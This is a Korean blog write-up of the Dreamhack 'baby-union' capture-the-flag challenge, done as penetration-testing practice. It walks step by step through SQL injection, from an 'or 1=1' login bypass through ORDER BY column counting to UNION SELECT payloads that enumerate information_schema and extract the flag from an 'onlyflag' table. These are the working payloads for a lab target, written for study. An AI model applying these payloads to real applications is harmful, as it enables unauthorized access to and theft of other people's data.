본문 바로가기

모의해킹/Dreamhack

baby-union

728x90

문제 정보

쿼리에 맞춰 SQL 인젝션으로 문제를 푸는 거다,,,

쿼리에 맞춰서 admin' or 1=1 -- -  을 입력하면 밑에 사진처럼 admin으로 로그인이 된 걸 볼 수 있다.~! 

기본적인 쿼리는 찾았으므로 이제 flag을 찾으면 된다~!

 

∙ 수동으로 찾기

칼럼 개수를 보니 'order by 5에서 에러 페이지가 노출이 된다. 즉 칼럼의 개수는 4개이다~!

 

admin'union select 1,2,3,4 from users#

사용할 수 칼럼의 번호는 1, 2, 4번이다.

 

admin'union select 1,database(),3,4#

데이터베이스 이름을 확인해 본 결과 secret_db의 데이터베이스가 있다.

 

테이블 정보를 확인했을 때, 여러 개의 테이블 정보가 출력이 된다....

onlyflag 테이블이 있다,, 여기에 flag 정보가 들어있을 거 같다...

 

admin'union select 1,column_name,3,4 from information_schema.columns where table_name = 'onlyflag'#

sname, svalue, sflag을 출력해 보자...

 

admin'union select sname,svalue,3,sflag from onlyflag#

flag값이 잘려있는 거 볼 수 있다....

admin'union select svalue,sflag,3,sclose from onlyflag#

s로 시작하는 칼럼 3개의 데이터를 보면 flag값이 이어지는 걸 볼 수 있다...!!!

 

'모의해킹 > Dreamhack' 카테고리의 다른 글

login-1  (0) 2023.11.09
SSTI(취약점 개념)  (0) 2023.11.09
Type c-j  (0) 2023.11.06
Broken Buffalo Wings  (0) 2023.11.05
random-test  (0) 2023.11.04